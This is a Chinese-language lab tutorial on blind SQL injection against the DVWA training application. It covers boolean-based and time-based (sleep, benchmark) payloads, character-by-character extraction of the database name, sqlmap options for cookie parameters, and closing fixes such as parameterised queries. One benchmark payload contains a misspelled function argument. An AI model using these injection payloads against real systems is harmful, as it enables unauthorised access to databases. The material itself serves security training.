概念
- 数据库的执行结果不会直接显示到页面上,页面只会显示真和假两种状态
准备
- Firefox、DVWA、Max HackBar、SQLMAP
破解过程
low等级
手工方式
布尔型
-
先输入1和-1分别查看提示信息
-
真 and 假 = 假
-
确定POC:打开DVWA的SQL盲注页面,输入
1 or 1024=1025 真状态,说明or后面的语句没有被插进去 1' or '1024'='1025 假状态,说明or后面的语句插进去了,挖掘出SQL盲注漏洞 1" or "1024"="1025 真状态,说明or后面的语句没有被插进去
-
盲注思路:
1' and 真 -- 为真 1' and 假 -- 为假
-
用类似暴力破解的方法破解SQL盲注
-
先确定数据库名的长度,利用二分法不断判断确定
1' and length(database())>1 --
-
知道长度,然后一个字符一个字符的比对
获取子字符串:select substr(原始字符串,子串开始位置,子串长度)
获取第一个字符的ASCII数值(字符串):ascii('string')
单字符ASCII码范围:0-127
1' and ascii(substr(database(),1,1))>64 --
,确定了数据库名为dvwa
延时型
- 如果数据库名的长度为4,就休眠5s:
1' and sleep(if(length(database())=4,5,0)) --
- 如果数据库名的长度为4,就重复执行5000000次(注意不要设置次数太多):
1' and benchmark(if(length(databaase())=4,5000000,0),md5('test')) --
自动方式
- 与回显注入步骤相同
- 输出详细信息,后面的数字是等级(1-6):
-v 3
medium等级
- 与回显注入步骤相同
high等级
手动方式
- 同上
自动方式
- 回显注入的方法失效,发现id参数跑到了cookie中
- 支持cookie参数检测(level≥2):
--level 2
impossible等级
- 同样检测了id数据类型,使用预编译绑定id变量,有效防止SQL注入
修复
- 参数化SQL语句
- 数据类型检测
- 用户输入过滤